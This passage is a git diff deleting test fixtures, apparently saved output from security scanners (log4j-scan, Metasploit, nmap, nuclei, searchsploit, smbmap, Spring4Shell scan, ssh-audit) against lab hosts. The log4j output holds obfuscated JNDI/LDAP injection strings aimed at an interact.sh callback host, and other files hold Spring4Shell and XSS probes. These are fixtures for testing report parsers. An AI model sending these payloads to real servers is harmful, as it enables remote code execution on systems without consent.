${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0 -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}a${::-p}${sd:k5:-:}//192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:${lower:l}${lower:d}a${lower:p}://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jnd${upper:i}:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh/5qll9n0} -[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks. -[•] Waiting... -[!!!] Targets Affected -{"timestamp": "2022-03-12T11:23:08.947908239Z", "host": "192.168.1.38.16i102fmhr8445c7r1pr5z5gco9u4245r.16i102fmhr8445c7r1pr5z5gco9u4245r.interact.sh", "remote_address": "80.58.184.19"} \ No newline at end of file diff --git a/src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt b/src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt deleted file mode 100644 index affcfe79d..000000000 --- a/src/backend/testing/data/reports/log4j_scan/not_vulnerable.txt +++ /dev/null @@ -1,10 +0,0 @@ -[•] CVE-2021-44228 - Apache Log4j RCE Scanner -[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. -[•] Secure your External Attack Surface with FullHunt.io. -[•] Initiating DNS callback server (interact.sh). -[%] Checking for Log4j RCE CVE-2021-44228. -[•] URL: http://192.168.1.38:8080/ -[•] URL: http://192.168.1.38:8080/ | PAYLOAD: ${jndi:ldap://192.168.1.38.s820415e9g3y45n7jxgj0956af52n1myf.interact.sh/nbs4adg} -[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks. -[•] Waiting... -[•] Targets do not seem to be vulnerable. \ No newline at end of file diff --git a/src/backend/testing/data/reports/metasploit/exploits.txt b/src/backend/testing/data/reports/metasploit/exploits.txt deleted file mode 100644 index b978647b2..000000000 --- a/src/backend/testing/data/reports/metasploit/exploits.txt +++ /dev/null @@ -1,14 +0,0 @@ - -Matching Modules -================ - - # Name Disclosure Date Rank Check Description - - ---- --------------- ---- ----- ----------- - 0 exploit/windows/misc/hp_dataprotector_encrypted_comms 2016-04-18 normal Yes HP Data Protector Encrypted Communication Remote Command Execution - 1 exploit/multi/http/rails_actionpack_inline_exec 2016-03-01 excellent No Ruby on Rails ActionPack Inline ERB Code Execution - 2 auxiliary/gather/xymon_info normal No Xymon Daemon Gather Information - 3 exploit/unix/webapp/xymon_useradm_cmd_exec 2016-02-14 excellent Yes Xymon useradm Command Execution - - -Interact with a module by name or index. For example info 3, use 3 or use exploit/unix/webapp/xymon_useradm_cmd_exec - diff --git a/src/backend/testing/data/reports/metasploit/nothing.txt b/src/backend/testing/data/reports/metasploit/nothing.txt deleted file mode 100644 index 0a3135a72..000000000 --- a/src/backend/testing/data/reports/metasploit/nothing.txt +++ /dev/null @@ -1 +0,0 @@ -[-] No results from search diff --git a/src/backend/testing/data/reports/nikto/default.xml b/src/backend/testing/data/reports/nikto/default.xml deleted file mode 100644 index a1581c06f..000000000 --- a/src/backend/testing/data/reports/nikto/default.xml +++ /dev/null @@ -1,78 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/src/backend/testing/data/reports/nmap/enumeration-vulners.xml b/src/backend/testing/data/reports/nmap/enumeration-vulners.xml deleted file mode 100644 index 8b8db02a2..000000000 --- a/src/backend/testing/data/reports/nmap/enumeration-vulners.xml +++ /dev/null @@ -1,973 +0,0 @@ - - - - - - - - - -
- - - - -
- - - - - -cpe:/a:openbsd:openssh:8.0 -cpe:/a:apache:http_server:2.4.37 -cpe:/a:apache:http_server:2.4.37 - - - - - -cpe:/o:linux:linux_kernel:3 -cpe:/o:linux:linux_kernel:4 - - -cpe:/o:linux:linux_kernel:3.1 - - -cpe:/o:linux:linux_kernel:3.2 - - -cpe:/o:linux:linux_kernel:2.6.17 -cpe:/h:axis:210a_network_cameracpe:/h:axis:211_network_camera - - -cpe:/o:linux:linux_kernel:3.16 - - -cpe:/h:asus:rt-n56u -cpe:/o:linux:linux_kernel:3.4 - - -cpe:/o:linux:linux_kernel:5.1 - - -cpe:/o:oracle:vm_server:3.4.2 -cpe:/o:linux:linux_kernel:4.1 - - -cpe:/o:google:android:4.1.1 - - -cpe:/o:linux:linux_kernel:3.18 - - - - - - - - - - - - - - - - - diff --git a/src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml b/src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml deleted file mode 100644 index 5bdef419b..000000000 --- a/src/backend/testing/data/reports/nmap/ftp-vulnerabilities.xml +++ /dev/null @@ -1,117 +0,0 @@ - - - - - - - - - -
-
- - - - -
-
- - -cpe:/a:vsftpd:vsftpd:2.3.4 - - - - - - - diff --git a/src/backend/testing/data/reports/nuclei/tech_and_vulns.json b/src/backend/testing/data/reports/nuclei/tech_and_vulns.json deleted file mode 100644 index 88af4c24e..000000000 --- a/src/backend/testing/data/reports/nuclei/tech_and_vulns.json +++ /dev/null @@ -1,11 +0,0 @@ -{"template":"technologies/php-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/php-detect.yaml","template-id":"php-detect","info":{"name":"PHP Detect","author":["y0no"],"tags":["tech","php"],"reference":null,"severity":"info","metadata":{"verified":true,"shodan-query":"X-Powered-By: PHP"}},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.162493+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} -{"template":"technologies/apache/apache-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/apache/apache-detect.yaml","template-id":"apache-detect","info":{"name":"Apache Detection","author":["philippedelteil"],"tags":["tech","apache"],"description":"Some Apache servers have the version on the response header. The OpenSSL version can be also obtained","reference":null,"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","extracted-results":["Apache/2.4.25 (Debian)"],"ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.176333+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} -{"template":"technologies/tech-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/tech-detect.yaml","template-id":"tech-detect","info":{"name":"Wappalyzer Technology Detection","author":["hakluke"],"tags":["tech"],"reference":null,"severity":"info"},"matcher-name":"php","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:35.897605+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} -{"template":"miscellaneous/robots-txt-endpoint.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/miscellaneous/robots-txt-endpoint.yaml","template-id":"robots-txt-endpoint","info":{"name":"robots.txt endpoint prober","author":["caspergn","pdteam"],"tags":null,"reference":null,"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/robots.txt","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:40.541498+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36' 'http://10.10.10.10/robots.txt'","matcher-status":true,"matched-line":null} -{"template":"misconfiguration/http-missing-security-headers.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/misconfiguration/http-missing-security-headers.yaml","template-id":"http-missing-security-headers","info":{"name":"HTTP Missing Security Headers","author":["socketz","geeknik","g4l1t0","convisoappsec","kurohost","dawid-czarnecki","forgedhallpass"],"tags":["misconfig","headers","generic"],"description":"This template searches for missing HTTP security headers. The impact of these missing headers can vary.\n","reference":null,"severity":"info"},"matcher-name":"access-control-allow-headers","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:44.288691+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36' 'http://10.10.10.10'","matcher-status":true,"matched-line":null} -{"template":"network/exposed-redis.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/network/exposed-redis.yaml","template-id":"exposed-redis","info":{"name":"Redis Server - Unauthenticated Access","author":["pdteam"],"tags":["network","redis","unauth"],"description":"Redis server without any required authentication was discovered.","reference":["https://redis.io/topics/security"],"severity":"high"},"type":"network","host":"10.10.10.10","matched-at":"10.10.10.10:6379","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:55.178717+01:00","matcher-status":true,"matched-line":null} -{"template":"exposures/configs/exposed-gitignore.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/configs/exposed-gitignore.yaml","template-id":"exposed-gitignore","info":{"name":"Exposed Gitignore","author":["thezakman","geeknik"],"tags":["exposure","tenable","config","git"],"reference":["https://twitter.com/pratiky9967/status/1230001391701086208","https://www.tenable.com/plugins/was/98595"],"severity":"info"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/.gitignore","ip":"10.10.10.10","timestamp":"2022-12-26T16:31:58.263804+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36' 'http://10.10.10.10/.gitignore'","matcher-status":true,"matched-line":null} -{"template":"technologies/waf-detect.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/technologies/waf-detect.yaml","template-id":"waf-detect","info":{"name":"WAF Detection","author":["dwisiswant0","lu4nx"],"tags":["waf","tech","misc"],"description":"A web application firewall was detected.","reference":["https://github.com/ekultek/whatwaf"],"severity":"info","classification":{"cve-id":null,"cwe-id":["cwe-200"]}},"matcher-name":"apachegeneric","type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/","ip":"10.10.10.10","timestamp":"2022-12-26T16:32:07.349154+01:00","curl-command":"curl -X 'POST' -d '_=\u003cscript\u003ealert(1)\u003c/script\u003e' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'Host: 10.10.10.10' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36' 'http://10.10.10.10/'","matcher-status":true,"matched-line":null} -{"template":"exposures/configs/phpinfo-files.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/configs/phpinfo-files.yaml","template-id":"phpinfo-files","info":{"name":"phpinfo Disclosure","author":["pdteam","daffainfo","meme-lord","dhiyaneshdk","wabafet"],"tags":["config","exposure","phpinfo"],"description":"A \"PHP Info\" page was found. The output of the phpinfo() command can reveal detailed PHP environment information.\n","reference":null,"severity":"low","remediation":"Remove PHP Info pages from publicly accessible sites, or restrict access to authorized users only.\n"},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/phpinfo.php","extracted-results":["7.0.30"],"ip":"10.10.10.10","timestamp":"2022-12-26T16:32:07.464122+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36' 'http://10.10.10.10/phpinfo.php'","matcher-status":true,"matched-line":null} -{"template":"exposures/files/readme-md.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/master/exposures/files/readme-md.yaml","template-id":"readme-md","info":{"name":"README.md file disclosure","author":["ambassify"],"tags":["exposure","markdown","files"],"description":"Internal documentation file often used in projects which can contain sensitive information.","reference":null,"severity":"info","metadata":{"shodan-query":"html:\"README.MD\""}},"type":"http","host":"http://10.10.10.10","matched-at":"http://10.10.10.10/README.md","ip":"10.10.10.10","timestamp":"2022-12-26T16:32:10.207188+01:00","curl-command":"curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'Cookie: PHPSESSID=nfmpu5j13ftpdpah49898f4ut4' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36' 'http://10.10.10.10/README.md'","matcher-status":true,"matched-line":null} -{"template-id":"dvwa-default-login","info":{"name":"DVWA Default Login","author":["pdteam"],"tags":["dvwa","default-login"],"description":"Damn Vulnerable Web App (DVWA) is a test application for security professionals. The hard coded credentials are part of a security testing scenario.","reference":["https://opensourcelibs.com/lib/dvwa"],"severity":"critical","classification":{"cve-id":null,"cwe-id":["cwe-798"]}},"type":"http","host":"http://10.10.10.10/","matched-at":"http://10.10.10.10/index.php","meta":{"username":"admin","password":"password"},"ip":"10.10.10.10","timestamp":"2022-12-26T20:29:16.465522359+01:00","curl-command":"curl -X 'GET' -d 'username=admin\u0026password=password\u0026Login=Login\u0026user_token=6291caf1dc5fe34bd434aaa7cda3e841' -H ''\\''authorization: Basic YWRtaW46cGFzc3dvcmQ='\\''' -H 'Connection: close' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Cookie: PHPSESSID=4gbutlinsopibl79qc24f7pmv3; security=low' -H 'Host: 10.10.10.10' -H 'Referer: http://10.10.10.10/login.php' -H 'User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36' 'http://10.10.10.10/index.php'","matcher-status":true,"matched-line":null} \ No newline at end of file diff --git a/src/backend/testing/data/reports/searchsploit/exploits.json b/src/backend/testing/data/reports/searchsploit/exploits.json deleted file mode 100644 index 7b731077f..000000000 --- a/src/backend/testing/data/reports/searchsploit/exploits.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "SEARCH": "WordPress Core 2.1", - "DB_PATH_EXPLOIT": "/usr/share/exploitdb", - "RESULTS_EXPLOIT": [ - {"Title":"WordPress Core 1.2.1/1.2.2 - '/wp-admin/post.php?content' Cross-Site Scripting","EDB-ID":"24988","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24988.txt"}, - {"Title":"WordPress Core 1.2.1/1.2.2 - '/wp-admin/templates.php?file' Cross-Site Scripting","EDB-ID":"24989","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24989.txt"}, - {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-add.php' Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"24990","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24990.txt"}, - {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-categories.php?cat_id' Cross-Site Scripting","EDB-ID":"24991","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24991.txt"}, - {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-manager.php' Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"24992","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24992.txt"}, - {"Title":"WordPress Core 1.2.1/1.2.2 - 'moderation.php?item_approved' Cross-Site Scripting","EDB-ID":"24993","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24993.txt"}, - {"Title":"WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities","EDB-ID":"4397","Date":"1970-01-01","Author":"Lance M. Havok","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/4397.rb"}, - {"Title":"WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass","EDB-ID":"10088","Date":"1970-01-01","Author":"Fernando Arnaboldi","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/10088.txt"}, - {"Title":"WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution","EDB-ID":"29702","Date":"1970-01-01","Author":"Ivan Fratric","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29702.txt"}, - {"Title":"WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting","EDB-ID":"29682","Date":"1970-01-01","Author":"Samenspender","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29682.txt"}, - {"Title":"WordPress Core 2.1.1 - Arbitrary Command Execution","EDB-ID":"29701","Date":"1970-01-01","Author":"Ivan Fratric","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29701.txt"}, - {"Title":"WordPress Core 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"29684","Date":"1970-01-01","Author":"Stefan Friedli","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29684.txt"}, - {"Title":"WordPress Core 2.1.2 - 'xmlrpc' SQL Injection","EDB-ID":"3656","Date":"1970-01-01","Author":"Sumit Siddharth","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/3656.pl"}, - {"Title":"WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing","EDB-ID":"3960","Date":"1970-01-01","Author":"waraxe","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/3960.php"}, - {"Title":"WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting","EDB-ID":"29754","Date":"1970-01-01","Author":"Alexander Concha","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29754.html"}, - {"Title":"WordPress Core < 2.8.5 - Unrestricted Arbitrary File Upload / Arbitrary PHP Code Execution","EDB-ID":"10089","Date":"1970-01-01","Author":"Dawid Golunski","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/10089.txt"}, - {"Title":"WordPress Core < 4.0.1 - Denial of Service","EDB-ID":"35414","Date":"1970-01-01","Author":"Javer Nieto & Andres Rojas","Type":"dos","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/dos/35414.txt"}, - {"Title":"WordPress Core < 4.7.1 - Username Enumeration","EDB-ID":"41497","Date":"1970-01-01","Author":"Dctor","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/41497.php"}, - {"Title":"WordPress Core < 4.7.4 - Unauthorized Password Reset","EDB-ID":"41963","Date":"1970-01-01","Author":"Dawid Golunski","Type":"webapps","Platform":"linux","Path":"/usr/share/exploitdb/exploits/linux/webapps/41963.txt"}, - {"Title":"WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion","EDB-ID":"44949","Date":"1970-01-01","Author":"VulnSpy","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/44949.txt"}, - {"Title":"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts","EDB-ID":"47690","Date":"1970-01-01","Author":"Sebastian Neef","Type":"webapps","Platform":"multiple","Path":"/usr/share/exploitdb/exploits/multiple/webapps/47690.md"}, - {"Title":"WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service","EDB-ID":"47800","Date":"1970-01-01","Author":"roddux","Type":"dos","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/dos/47800.py"} - ], - "DB_PATH_SHELLCODE": "/usr/share/exploitdb", - "RESULTS_SHELLCODE": [ ] -} diff --git a/src/backend/testing/data/reports/searchsploit/nothing.json b/src/backend/testing/data/reports/searchsploit/nothing.json deleted file mode 100644 index 872d626bb..000000000 --- a/src/backend/testing/data/reports/searchsploit/nothing.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "SEARCH": "Nothing", - "DB_PATH_EXPLOIT": "/usr/share/exploitdb", - "RESULTS_EXPLOIT": [ ], - "DB_PATH_SHELLCODE": "/usr/share/exploitdb", - "RESULTS_SHELLCODE": [ ] -} diff --git a/src/backend/testing/data/reports/smbmap/directories.txt b/src/backend/testing/data/reports/smbmap/directories.txt deleted file mode 100644 index 38ab9d5a5..000000000 --- a/src/backend/testing/data/reports/smbmap/directories.txt +++ /dev/null @@ -1,8 +0,0 @@ -[+] Guest session IP: 10.10.10.10:445 Name: 10.10.10.10 - Disk Permissions Comment - ---- ----------- ------- - shared READ, WRITE - .\shared\* - dr--r--r-- 0 Fri Mar 18 18:51:40 2022 . - dr--r--r-- 0 Fri Mar 18 17:58:29 2022 .. - IPC$ NO ACCESS IPC Service (Samba 4.5.4) diff --git a/src/backend/testing/data/reports/smbmap/shares.txt b/src/backend/testing/data/reports/smbmap/shares.txt deleted file mode 100644 index 24497f890..000000000 --- a/src/backend/testing/data/reports/smbmap/shares.txt +++ /dev/null @@ -1,5 +0,0 @@ -[+] Guest session IP: 10.10.10.10:445 Name: 10.10.10.10 - Disk Permissions Comment - ---- ----------- ------- - shared READ, WRITE - IPC$ NO ACCESS IPC Service (Samba 4.5.4) \ No newline at end of file diff --git a/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt b/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt deleted file mode 100644 index 9ad590a66..000000000 --- a/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt +++ /dev/null @@ -1,12 +0,0 @@ -[•] CVE-2022-22965 - Spring4Shell RCE Scanner -[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. -[•] Secure your External Attack Surface with FullHunt.io. -[•] URL: http://10.10.10.10 -[%] Checking for Spring4Shell RCE CVE-2022-22965. -[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[9vdxfet]=9vdxfet -[•] Target does not seem to be vulnerable. -[%] Checking for Spring Cloud RCE CVE-2022-22963. -[•] URL: http://10.10.10.10/functionRouter -[!!!] Target Affected (CVE-2022-22963) -[!] Total Vulnerable Hosts: 1 -[!] http://10.10.10.10 \ No newline at end of file diff --git a/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt b/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt deleted file mode 100644 index c532783b7..000000000 --- a/src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt +++ /dev/null @@ -1,12 +0,0 @@ -[•] CVE-2022-22965 - Spring4Shell RCE Scanner -[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. -[•] Secure your External Attack Surface with FullHunt.io. -[•] URL: http://10.10.10.10 -[%] Checking for Spring4Shell RCE CVE-2022-22965. -[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[83p30yu]=83p30yu -[!!!] Target Affected (CVE-2022-22965) -[%] Checking for Spring Cloud RCE CVE-2022-22963. -[•] URL: http://10.10.10.10/functionRouter -[•] Target does not seem to be vulnerable. -[!] Total Vulnerable Hosts: 1 -[!] http://10.10.10.10 \ No newline at end of file diff --git a/src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt b/src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt deleted file mode 100644 index 0eae2906e..000000000 --- a/src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt +++ /dev/null @@ -1,10 +0,0 @@ -[•] CVE-2022-22965 - Spring4Shell RCE Scanner -[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. -[•] Secure your External Attack Surface with FullHunt.io. -[•] URL: http://10.10.10.10 -[%] Checking for Spring4Shell RCE CVE-2022-22965. -[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[knzqc58]=knzqc58 -EXCEPTION: HTTPConnectionPool(host='10.10.10.10', port=80): Read timed out. (read timeout=4) -EXCEPTION: HTTPConnectionPool(host='10.10.10.10', port=80): Read timed out. (read timeout=4) -[•] Target does not seem to be vulnerable. -[•] No affected targets were discovered. \ No newline at end of file diff --git a/src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt b/src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt deleted file mode 100644 index 1912bd52f..000000000 --- a/src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt +++ /dev/null @@ -1,73 +0,0 @@ -Starting audit of 10.10.10.10... -(gen) banner: SSH-2.0-libssh_0.8.1 -(gen) software: libssh 0.8.1 -(gen) compatibility: OpenSSH 7.4+ (some functionality from 6.6), Dropbear SSH 2018.76+ (some functionality from 0.52) -(gen) compression: enabled (zlib, zlib@openssh.com) -(cve) CVE-2018-10933 -- (CVSSv2: 6.4) authentication bypass -(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76 -(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp384 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves -(kex) ecdh-sha2-nistp521 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 -(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm -(kex) diffie-hellman-group14-sha1 -- [info] available since OpenSSH 3.9, Dropbear SSH 0.53 -(kex) diffie-hellman-group1-sha1 -- [fail] using small 1024-bit modulus -(kex) diffie-hellman-group1-sha1 -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(kex) diffie-hellman-group1-sha1 -- [fail] disabled (in client) since OpenSSH 7.0, logjam attack -(kex) diffie-hellman-group1-sha1 -- [warn] using weak hashing algorithm -(kex) diffie-hellman-group1-sha1 -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28 -(key) ssh-rsa (2048-bit) -- [fail] using weak hashing algorithm -(key) ssh-rsa (2048-bit) -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28 -(key) ssh-rsa (2048-bit) -- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2 -(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5 -(enc) chacha20-poly1305@openssh.com -- [info] default cipher since OpenSSH 6.9. -(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 -(enc) aes192-ctr -- [info] available since OpenSSH 3.7 -(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 -(enc) aes256-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(enc) aes256-cbc -- [warn] using weak cipher mode -(enc) aes256-cbc -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47 -(enc) aes192-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(enc) aes192-cbc -- [warn] using weak cipher mode -(enc) aes192-cbc -- [info] available since OpenSSH 2.3.0 -(enc) aes128-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(enc) aes128-cbc -- [warn] using weak cipher mode -(enc) aes128-cbc -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28 -(enc) blowfish-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm -(enc) 